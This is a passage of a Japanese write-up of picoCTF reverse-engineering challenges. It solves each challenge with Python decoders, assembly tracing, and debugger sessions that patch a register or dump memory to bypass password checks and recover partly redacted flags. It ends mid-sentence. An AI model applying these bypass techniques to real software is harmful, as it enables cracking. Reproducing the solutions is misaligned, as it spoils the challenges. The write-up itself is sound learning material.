まず、106 , 85 , 53 , 116 , 95 , 52 , 95 , 98
はAsciiコードをDecimal (10進数)で表したものである。
次に、0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f
はAsciiコードをHexadecimal (16進数)で表したものである。
続いて、0142, 0131, 0164, 063 , 0163, 0137, 0143, 061
はAsciiコードをOctal (8進数)で表したものである。
最後に'9' , '4' , 'f' , '7' , '4' , '5' , '8' , 'e'
はシングルクオートで囲まれているので文字列扱いとなる。
以下のPythonスクリプトを書いて実行したところ、パスワードがデコードされた。(SyntaxErrorを避けるためOctal numberの先頭の0
は削除した。0142 -> 142
)
decimal_and_hex = [106, 85 , 53 , 116, 95 , 52 , 95 , 98 ,0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f]
octals = [142, 131, 164, 63, 163, 137, 143, 61] ## These are octal numbers. Leading zeros are removed due to SyntaxError.
password = ''
for i in decimal_and_hex:
password += chr(i)
for i in octals:
password += chr(int(str(i), 8))
password += '94f7458e'
print(password)
$ python3 get-password.py
jU5t_<REDACTED>94f7458e
asm3 (300points)
以下のアセンブリコードを解読する問題。引数として0xd2c26416
、0xe6cf51f0
、0xe54409d5
を渡した場合に返される値を答えよとのこと。
asm3:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: xor eax,eax
<+5>: mov ah,BYTE PTR [ebp+0x9]
<+8>: shl ax,0x10
<+12>: sub al,BYTE PTR [ebp+0xe]
<+15>: add ah,BYTE PTR [ebp+0xf]
<+18>: xor ax,WORD PTR [ebp+0x12]
<+22>: nop
<+23>: pop ebp
<+24>: ret
上記のコードは引数から値を1バイトずつ取り出し、(最後のxor命令のみWORD
なので2バイト)ビット演算を行う。
スタック図を書き出して、ebp+0x09
、ebp+0x0e
、ebp+0x0f
、ebp+0x12
がそれぞれどの値を指しているのか確認してみた。ちなみにバイト・オーダーはリトルエンディアン形式である。
Low Address
+----------------------------------------------+ <==== ebp
| saved ebp (4 bytes) |
+----------------------------------------------+ <==== ebp+0x04
| return address (4 bytes) |
+----------------------------------------------+ <==== ebp+0x08
| 0x16 |
+----------------------------------------------+ <==== ebp+0x09
| 0x64 |
+----------------------------------------------+
| 0xc2 |
+----------------------------------------------+
| 0xd2 |
+----------------------------------------------+
| 0xf0 |
+----------------------------------------------+
| 0x51 |
+----------------------------------------------+ <==== ebp+0x0e
| 0xcf |
+----------------------------------------------+ <==== ebp+0x0f
| 0xe6 |
+----------------------------------------------+
| 0xd5 |
+----------------------------------------------+
| 0x09 |
+----------------------------------------------+ <==== ebp+0x12
| 0x44 |
+----------------------------------------------+
| 0xe5 |
+----------------------------------------------+
High Address
上記のスタック図に従うと各ebpが指している値は以下の通りである。
ebp offset | value |
ebp+0x09 | 0x64 |
ebp+0x0e | 0xcf |
ebp+0x0f | 0xe6 |
ebp+0x12 | 0x44 |
上記の理解が正しいか、簡単なテスト・プログラムを用いて検証してみた。
#include <stdio.h>
int my_asm3(long int arg1, long int arg2, long int arg3)
{
printf("arg1: %lu\n", arg1);
printf("arg2: %lu\n", arg2);
printf("arg3: %lu\n", arg3);
}
int main(void)
{
// Supply 0xd2c26416, 0xe6cf51f0, and 0xe54409d5 in decimal as args.
my_asm3(3535954966, 3872346608, 3846441429);
return 0;
}
上記のmy_asm3()
関数は0xd2c26416
、0xe6cf51f0
、0xe54409d5
を引数として受け取り、引数の値を出力するだけのプログラムである。このプログラムを実行した際、スタック内にどの値がどの順番で積まれるのかデバッガで確認してみた。
まずはソースコードを実行ファイル形式にコンパイルする。
gcc my-asm3.c -o my-asm3 -fno-pie -fno-stack-protector -m32
続いてmy_asm3()
のアドレスを確認する。
$ objdump -d -M intel my-asm3 | grep my_asm3
0804841d <my_asm3>:
804847e: e8 9a ff ff ff call 804841d <my_asm3>
my_asm3()
のアドレスは0x0804841d
である。
GDBを起動して0x0804841d
にブレークポイントをセットして実行し、ブレークポイントに到達したらステップイン実行する。
$ gdb -q ./my-asm3
Reading symbols from ./my-asm3...(no debugging symbols found)...done.
(gdb) b *0x0804841d
Breakpoint 1 at 0x804841d
(gdb) r
Starting program: /home/sansforensics/Desktop/my-asm3
Breakpoint 1, 0x0804841d in my_asm3 ()
(gdb) si
0x0804841e in my_asm3 ()
x
コマンドでスタック内の値を確認してみる。
(gdb) x/b $esp+0x09 //read 1 byte from $esp+0x09
0xffffd0a1: 0x64
(gdb) x/b $esp+0x0e
0xffffd0a6: 0xcf
(gdb) x/b $esp+0x0f
0xffffd0a7: 0xe6
(gdb) x/b $esp+0x12
0xffffd0aa: 0x44
(gdb) x/h $esp+0x12 //read 2 bytes from $esp+0x12
0xffffd0aa: 0xe544
上記より、先述したスタック図の内容は間違っていないことが確認できた。
後はアセンブリコードに従い、ビット演算を行うだけである。
最初はPythonでビット演算を行おうとしたのだがsub命令のところで躓いたので、CyberChefを用いてビット演算を行った。コメント部分にビット演算の結果を記した。
asm3:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: xor eax,eax // set eax to 0
<+5>: mov ah,BYTE PTR [ebp+0x9] // ah = 0x64
<+8>: shl ax,0x10 // 0x6400 shl 0x10 = 0x0000 (ah = 0x00, al = 0x00)
<+12>: sub al,BYTE PTR [ebp+0xe] // 0x00 sub 0xcf = 0x31
<+15>: add ah,BYTE PTR [ebp+0xf] // 0x00 add 0xe6 = 0xe6
<+18>: xor ax,WORD PTR [ebp+0x12] // 0xe631 xor 0xe544 = 0x375
<+22>: nop
<+23>: pop ebp
<+24>: ret
上記よりフラグは0x375
である。
vault-door-5 (300points)
以下のJavaのソースコードVaultDoor5.java
を解析してフラグを取得する問題。
import java.net.URLDecoder;
import java.util.*;
class VaultDoor5 {
public static void main(String args[]) {
VaultDoor5 vaultDoor = new VaultDoor5();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// Minion #7781 used base 8 and base 16, but this is base 64, which is
// like... eight times stronger, right? Riiigghtt? Well that's what my twin
// brother Minion #2415 says, anyway.
//
// -Minion #2414
public String base64Encode(byte[] input) {
return Base64.getEncoder().encodeToString(input);
}
// URL encoding is meant for web pages, so any double agent spies who steal
// our source code will think this is a web site or something, defintely not
// vault door! Oh wait, should I have not said that in a source code
// comment?
//
// -Minion #2415
public String urlEncode(byte[] input) {
StringBuffer buf = new StringBuffer();
for (int i=0; i<input.length; i++) {
buf.append(String.format("%%%2x", input[i]));
}
return buf.toString();
}
public boolean checkPassword(String password) {
String urlEncoded = urlEncode(password.getBytes());
String base64Encoded = base64Encode(urlEncoded.getBytes());
String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
+ "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
+ "JTM0JTVmJTMwJTYyJTM5JTM1JTM3JTYzJTM0JTY2";
return base64Encoded.equals(expected);
}
}
JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVmJTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2JTM0JTVmJTMwJTYyJTM5JTM1JTM3JTYzJTM0JTY2
をBase64デコードした後、URLデコードすればフラグを取れる。CyberChefを用いてデコードした。
reverse_cipher (300points)
ELFファイルを解析して暗号化されたフラグを復号する問題。
rev
とrev_this
という2つのファイルを渡される。rev
は64ビットのELFファイルだった。rev_this
は暗号化されたフラグが記載されたテキストファイルだった。以下はrev_this
に記載されていたフラグである。
$ cat rev_this
picoCTF{w1{1wq85jc=2i0<}
rev
を解析して上記のフラグを復号すれば良い模様。
rev
をIDAで解析してみた。以下がフラグの暗号化を行うコードである。

フラグの暗号化処理をPythonコードで表すと以下のようになる。
def encrypt_flag():
plain_flag = '<flag in plain text>'
encrypted_flag = ''
c = 8
for f in plain_flag:
if (c & 1 == 0):
encrypted_flag += chr(ord(f) + 5)
else:
encrypted_flag += chr(ord(f) - 2)
c += 1
return encrypted_flag
フラグを復号するには上記と反対の処理を行えば良い。以下のPythonスクリプトでフラグを復号できた。
def decrypt_flag():
encrypted_flag = 'w1{1wq85jc=2i0<'
decrypted_flag = ''
c = 8
for f in encrypted_flag:
if (c & 1 == 0):
decrypted_flag += chr(ord(f) - 5)
else:
decrypted_flag += chr(ord(f) + 2)
c += 1
return decrypted_flag
print(decrypt_flag())
$ python3 decryptor.py
r3v3rs<REDACTED>d27
Bbbbloat (300points)
64ビットのELFファイルbbbbloat
を解析してフラグを取得する問題。
プログラムを実行すると数字を入力するように促される。正しい数字を入力すればフラグを取れると思われる。
$ ./bbbbloat
What's my favorite number? 1
Sorry, that's not it!
ファイルをIDAで解析してみたところ、以下のcmp命令が目についた。

eaxの値と549255
という数字を比較して両者が一致しない場合はSorry, that's not it!
というメッセージを表示して終了し、両者が一致した場合は処理を続ける模様。
試しに549255
と入力してみたところ、フラグを取れた。
$ ./bbbbloat
What's my favorite number? 549255
picoCTF{cu7_<REDACTED>36e3}
unpackme (300points)
unpackme-upx
という64ビットのELFファイルを解析してフラグを取得する問題。
ファイル名でネタバレしているが、unpackme-upx
はUPXでパックされていた。
$ strings unpackme-upx | grep -i upx
UPX!<
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
UPX!u
UPX!
UPX!
ファイルをアンパックしてみた。
upx -d unpackme-upx -ounpacked.bin
$ upx -d unpackme-upx -ounpacked.bin
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
1006877 <- 379108 37.65% linux/ElfAMD unpacked.bin
Unpacked 1 file.
アンパックしたファイルを実行すると数字を入力するように促される。正しい数字を入力すればフラグを取れると思われる。
$ ./unpacked.bin
What's my favorite number? 1
Sorry, that's not it!
ファイルをIDAで解析してみたところ、以下のcmp命令が目についた。
.text:0000000000401EF8 3D CB 83 0B 00 cmp eax, 754635
.text:0000000000401EFD 75 43 jnz short loc_401F42
eaxの値と754635
という数字を比較して両者が一致しない場合はSorry, that's not it!
というメッセージを表示して終了し、両者が一致した場合は処理を続ける模様。
試しに754635
と入力してみたところ、フラグを取れた。
$ ./unpacked.bin
What's my favorite number? 754635
picoCTF{up><_m3<REDACTED>27f}
vault-door-6 (350points)
以下のJavaのソースコードVaultDoor6.java
を解析してフラグを取得する問題。
import java.util.*;
class VaultDoor6 {
public static void main(String args[]) {
VaultDoor6 vaultDoor = new VaultDoor6();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// Dr. Evil gave me a book called Applied Cryptography by Bruce Schneier,
// and I learned this really cool encryption system. This will be the
// strongest vault door in Dr. Evil's entire evil volcano compound for sure!
// Well, I didn't exactly read the *whole* book, but I'm sure there's
// nothing important in the last 750 pages.
//
// -Minion #3091
public boolean checkPassword(String password) {
if (password.length() != 32) {
return false;
}
byte[] passBytes = password.getBytes();
byte[] myBytes = {
0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
0xa , 0x6c, 0x60, 0x37, 0x30, 0x60, 0x31, 0x36,
};
for (int i=0; i<32; i++) {
if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
return false;
}
}
return true;
}
}
以下のPythonスクリプトでフラグを取れた。
import binascii
def decrypt():
myBytes = '3b65210a3800361d0a3d61271166270a211d613b0a2d65270a6c603730603136'
key = '55'
myBytes = bytearray(binascii.unhexlify(myBytes))
key = bytearray(binascii.unhexlify(key))
decrypted_flag = bytearray(len(myBytes))
for i in range(0, len(myBytes)):
passBytes = bytearray(binascii.unhexlify('00'))
## bruteforce passBytes
while True:
if ((passBytes[0] ^ key[0]) - myBytes[i] == 0):
decrypted_flag[i] = passBytes[0]
break
else:
passBytes[0] += 1
return decrypted_flag
print(decrypt())
$ python3 decryptor.py
bytearray(b'n0t_mUcH_<REDACTED>_95be5dc')
vault-door-7 (400points)
以下のJavaのソースコードVaultDoor7.java
を解析してフラグを取得する問題。
import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;
class VaultDoor7 {
public static void main(String args[]) {
VaultDoor7 vaultDoor = new VaultDoor7();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// Each character can be represented as a byte value using its
// ASCII encoding. Each byte contains 8 bits, and an int contains
// 32 bits, so we can "pack" 4 bytes into a single int. Here's an
// example: if the hex string is "01ab", then those can be
// represented as the bytes {0x30, 0x31, 0x61, 0x62}. When those
// bytes are represented as binary, they are:
//
// 0x30: 00110000
// 0x31: 00110001
// 0x61: 01100001
// 0x62: 01100010
//
// If we put those 4 binary numbers end to end, we end up with 32
// bits that can be interpreted as an int.
//
// 00110000001100010110000101100010 -> 808542562
//
// Since 4 chars can be represented as 1 int, the 32 character password can
// be represented as an array of 8 ints.
//
// - Minion #7816
public int[] passwordToIntArray(String hex) {
int[] x = new int[8];
byte[] hexBytes = hex.getBytes();
for (int i=0; i<8; i++) {
x[i] = hexBytes[i*4] << 24
| hexBytes[i*4+1] << 16
| hexBytes[i*4+2] << 8
| hexBytes[i*4+3];
}
return x;
}
public boolean checkPassword(String password) {
if (password.length() != 32) {
return false;
}
int[] x = passwordToIntArray(password);
return x[0] == 1096770097
&& x[1] == 1952395366
&& x[2] == 1600270708
&& x[3] == 1601398833
&& x[4] == 1716808014
&& x[5] == 1734291511
&& x[6] == 960049251
&& x[7] == 1681089078;
}
}
以下のPythonスクリプトでフラグを取れた。
def decrypt(my_int):
my_bytes = str(format(my_int, '06b')).zfill(32)
my_decrypted_bytes = ''
for i in range(0, 32, 8):
my_decrypted_bytes += chr(int(my_bytes[i:i+8], 2))
return my_decrypted_bytes
first_4bytes = decrypt(1096770097)
second_4bytes = decrypt(1952395366)
third_4bytes = decrypt(1600270708)
fourth_4bytes = decrypt(1601398833)
fifth_4bytes = decrypt(1716808014)
sixth_4bytes = decrypt(1734291511)
seventh_4bytes = decrypt(960049251)
eighth_4bytes = decrypt(1681089078)
print(first_4bytes + second_4bytes + third_4bytes + fourth_4bytes + fifth_4bytes + sixth_4bytes + seventh_4bytes + eighth_4bytes)
$ python3 decryptor.py
A_b1t_0f_<REDACTED>990cd3b6
vault-door-8 (450points)
以下のJavaのソースコードVaultDoor8.java
を解析してフラグを取得する問題。
// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec;
import java.security.*; class VaultDoor8 {public static void main(String args[]) {
Scanner b = new Scanner(System.in); System.out.print("Enter vault password: ");
String c = b.next(); String f = c.substring(8,c.length()-1); VaultDoor8 a = new VaultDoor8(); if (a.checkPassword(f)) {System.out.println("Access granted."); }
else {System.out.println("Access denied!"); } } public char[] scramble(String password) {/* Scramble a password by transposing pairs of bits. */
char[] a = password.toCharArray(); for (int b=0; b<a.length; b++) {char c = a[b]; c = switchBits(c,1,2); c = switchBits(c,0,3); /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ c = switchBits(c,5,6); c = switchBits(c,4,7);
c = switchBits(c,0,1); /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ c = switchBits(c,3,4); c = switchBits(c,2,5); c = switchBits(c,6,7); a[b] = c; } return a;
} public char switchBits(char c, int p1, int p2) {/* Move the bit in position p1 to position p2, and move the bit
that was in position p2 to position p1. Precondition: p1 < p2 */ char mask1 = (char)(1 << p1);
char mask2 = (char)(1 << p2); /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ char bit1 = (char)(c & mask1); char bit2 = (char)(c & mask2); /* System.out.println("bit1 " + Integer.toBinaryString(bit1));
System.out.println("bit2 " + Integer.toBinaryString(bit2)); */ char rest = (char)(c & ~(mask1 | mask2)); char shift = (char)(p2 - p1); char result = (char)((bit1<<shift) | (bit2>>shift) | rest); return result;
} public boolean checkPassword(String password) {char[] scrambled = scramble(password); char[] expected = {
0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC2, 0xD2, 0x95, 0xA4, 0xF0, 0xD2, 0xD2, 0xC1, 0x95 }; return Arrays.equals(scrambled, expected); } }
CyberChefのGeneric Code Beautifyを使用して上記のソースコードを見やすいように整形した。
// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util. *;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security. *;
class VaultDoor8 {
public static void main(String args[]) {
Scanner b = new Scanner(System.in);
System.out.print("Enter vault password: ");
String c = b.next();
String f = c.substring(8, c.length() - 1);
VaultDoor8 a = new VaultDoor8();
if (a.checkPassword(f)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
public char[] scramble(String password) {
/* Scramble a password by transposing pairs of bits. */
char[] a = password.toCharArray();
for (int b = 0;
b < a.length;
b++) {
char c = a[b];
c = switchBits(c, 1, 2);
c = switchBits(c, 0, 3);
/* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */
c = switchBits(c, 5, 6);
c = switchBits(c, 4, 7);
c = switchBits(c, 0, 1);
/* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */
c = switchBits(c, 3, 4);
c = switchBits(c, 2, 5);
c = switchBits(c, 6, 7);
a[b] = c;
}
return a;
}
public char switchBits(char c, int p1, int p2) {
/* Move the bit in position p1 to position p2, and move the bit
that was in position p2 to position p1. Precondition: p1 < p2 */
char mask1 = (char)(1 < < p1);
char mask2 = (char)(1 < < p2);
/* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */
char bit1 = (char)(c & mask1);
char bit2 = (char)(c & mask2);
/* System.out.println("bit1 " + Integer.toBinaryString(bit1));
System.out.println("bit2 " + Integer.toBinaryString(bit2)); */
char rest = (char)(c & ~(mask1 | mask2));
char shift = (char)(p2 - p1);
char result = (char)((bit1 < < shift) | (bit2 > > shift) | rest);
return result;
}
public boolean checkPassword(String password) {
char[] scrambled = scramble(password);
char[] expected = {
0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4, 0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC2, 0xD2, 0x95, 0xA4, 0xF0, 0xD2, 0xD2, 0xC1, 0x95
};
return Arrays.equals(scrambled, expected);
}
}
かなり長文で不細工だが以下のPythonスクリプトでフラグを取得できた。
def scramble(c):
c = switchBits(c, 1, 2)
c = switchBits(c, 0, 3)
c = switchBits(c, 5, 6)
c = switchBits(c, 4, 7)
c = switchBits(c, 0, 1)
c = switchBits(c, 3, 4)
c = switchBits(c, 2, 5)
c = switchBits(c, 6, 7)
return c
def switchBits(c, p1, p2):
mask1 = 1 << p1
mask2 = 1 << p2
bit1 = c & mask1
bit2 = c & mask2
rest = c & ~(mask1 | mask2)
shift = p2 - p1
result = (bit1 << shift) | (bit2 >> shift) | rest
return result
mypassword = ''
i = 0
while True:
j = i
if (0xF4 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xC0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x97 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xF0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x77 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x97 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xC0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xE4 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xF0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x77 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xA4 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xD0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xC5 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x77 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xF4 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x86 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xD0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xA5 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x45 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x96 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x27 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xB5 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x77 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xC2 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xD2 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x95 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xA4 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xF0 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xD2 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xD2 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0xC1 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
i = 0
while True:
j = i
if (0x95 == scramble(i)):
#print(chr(j))
mypassword += chr(j)
break
else:
i += 1
print(mypassword)
$ python3 decryptor.py
s0m3_m0r3_<REDACTED>3994e
B1ll_Gat35 (400points)
32ビットのEXEファイルwin-exec-1.exe
を解析する問題。
※ ASLRが有効化されているので、デバッグの際はあらかじめASLRを無効化しておく。
ファイルを実行すると1~5桁の数字を入力するように言われ、次にアクセスコードを入力するように言われる。これらの認証を突破できればフラグを取れると思われる。
C:\Users\user\Desktop\do_not_scan>win-exec-1.exe
Input a number between 1 and 5 digits: 11111
Initializing...
Enter the correct key to get the access codes: 12345
Incorrect key. Try again.
ファイルをIDAで解析したところ、以下の命令分岐が目についた。

アドレス0x408112
のtest命令の結果が真だった場合、アドレス0x408125
へジャンプし Correct input. Printing flag:
というメッセージとともにフラグが出力されるものと思われる。
以下の手順でフラグを取れた。
- ファイルをx32dbgデバッガで開き、アドレス
0x408112
のtest命令にブレークポイントをセットする。 - フラグ出力後にプログラムが終了するのを防ぐため、アドレス
0x408132
のcall命令の直後のxor命令 (アドレス0x408137
) にもブレークポイントをセットする。 - プログラムを実行して1~5桁の適当な数字を入力し、さらに適当なアクセスコードを入力する。
- アドレス
0x408112
のブレークポイントに到達したらeaxレジスタの値を1に書き換えて再びプログラムを実行する。これでtest命令の結果が真となるので、アドレス0x408125
へ処理が移りフラグが出力される。

not crypto (150points)
64ビットのELFファイルnot-crypto
を解析してフラグを取得する問題。
ファイルをchecksecで確認したところ、PIEが有効化されていた。
$ sudo checksec.sh --file=not-crypto
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 1 not-crypto
ファイルを実行するとI heard you wanted to bargain for a flag... whatcha got?
というメッセージを表示してユーザーからの入力を待ち受ける。適当なデータを入力したところ、Nope, come back later
というメッセージとともにプログラムが終了した。
$ ./not-crypto
I heard you wanted to bargain for a flag... whatcha got?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Nope, come back later
ファイルをIDAで眺めたところ、以下のmemcmp命令が目についた。

どうやらユーザーの入力値の先頭64バイトとフラグの先頭64バイトを比較し、両者が一致した場合はYep, that's it!
というメッセージを表示し、一致しなかった場合はNope, come back later
というメッセージを表示して終了する模様。
memcmpのcall部分にブレークポイントをセットし、memcmpの引数の値をダンプすればフラグが取れそうである。
ただし、冒頭で述べたようにnot-crypto
はPIEが有効化されている。そのためプログラム実行時のアドレス配置がランダム化され、これがデバッガでブレークポイントをセットする際に妨げになる。(アドレスがランダム化されるので、ブレークポイントをセットしようにも、どのアドレスにセットすれば良いのか分からない。)
自分は以下の手順で上記の問題を解決した。
まずOS上でASLRを一時的に無効化した。以下のコマンドを実行して解析に使用しているUbuntuのASLRを無効化した。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
続いてltrace
の-i
オプションを利用してmemcmpのアドレスを事前に確認した。
$ ltrace -i ./not-crypto
[0x5555555550a8] puts("I heard you wanted to bargain fo"...I heard you wanted to bargain for a flag... whatcha got?
) = 57
[0x555555555181] fread(0x7fffffffdd50, 1, 64, 0x7ffff7dd4640aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
) = 64
[0x5555555553be] memcmp(0x7fffffffde60, 0x7fffffffdd50, 64, 164) = 15
[0x555555555ab1] puts("Nope, come back later"Nope, come back later
) = 22
[0xffffffffffffffff] +++ exited (status 1) +++
上記よりmemcmpはアドレス0x5555555553be
にて呼び出されることが分かった。
GDBを起動して0x5555555553be
にブレークポイントをセットし、プログラムを実行。
$ gdb -q ./not-crypto
Reading symbols from ./not-crypto...(no debugging symbols found)...done.
(gdb) b *0x5555555553be
Breakpoint 1 at 0x5555555553be
(gdb) r
Starting program: /home/sansforensics/Desktop/not_crypto/not-crypto
I heard you wanted to bargain for a flag... whatcha got?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, 0x00005555555553be in ?? ()
ブレークポイントに到達したらmemcmpの引数として渡されているメモリ・ブロック (今回の場合は0x7fffffffde60
)の中身をダンプしてみた。
(gdb) x 0x7fffffffde60
0x7fffffffde60: "ut_n0_pr0bl3m?}\n\377\265", <incomplete sequence \360>
フラグの断片らしき文字列が確認できた。
ダンプするアドレスを0x7fffffffde60
から適当にずらしてみたところ、全てのフラグ文字列を確認することができた。
(gdb) x 0x7fffffffde20
0x7fffffffde20: "\315\a\226\341\360S\307\371sj:\036-\272\227\244picoCTF{c0mp1l3r_<REDACTED>ut_n0_pr0bl3m?}\n\377\265", <incomplete sequence \360>
Keygenme (400points)
64ビットのELFファイルkeygenme
を解析してフラグを取得する問題。
ファイルをchecksecで確認したところ、PIEが有効化されていた。
$ sudo checksec.sh --file=keygenme
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 3 keygenme
続いてファイルをIDAで眺めてみたところ、picoCTF{br1ng_y0ur_0wn_k3y_
というフラグ文字列を確認できた。

これはフラグがスタック文字列になっているパターンで、このままアセンブリを読んでいけばフラグを取れるのでは?と期待したが、そう簡単には行かなかった。picoCTF{br1ng_y0ur_0wn_k3y_
というフラグ文字列がメモリにロードされるとループに突入し、メモリから何やらデータを読み出してこねくり回し、残りのフラグ文字列を生成するようだが、自分にはこれらの処理をアセンブリから読み解くのは至難だった。
これはデバッグ必須と考え、試しにkeygenme
を実行してみたところ以下のエラーに遭遇した。
$ ./keygenme
./keygenme: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory
どうやらlibcrypto.so.1.1
というライブラリが不足しており、プログラムを実行できなかった模様。picoCTFのWebshell上でkeygenme
を実行しても同様のエラーが発生した。
ldd
コマンドで確認すると、確かにlibcrypto.so.1.1
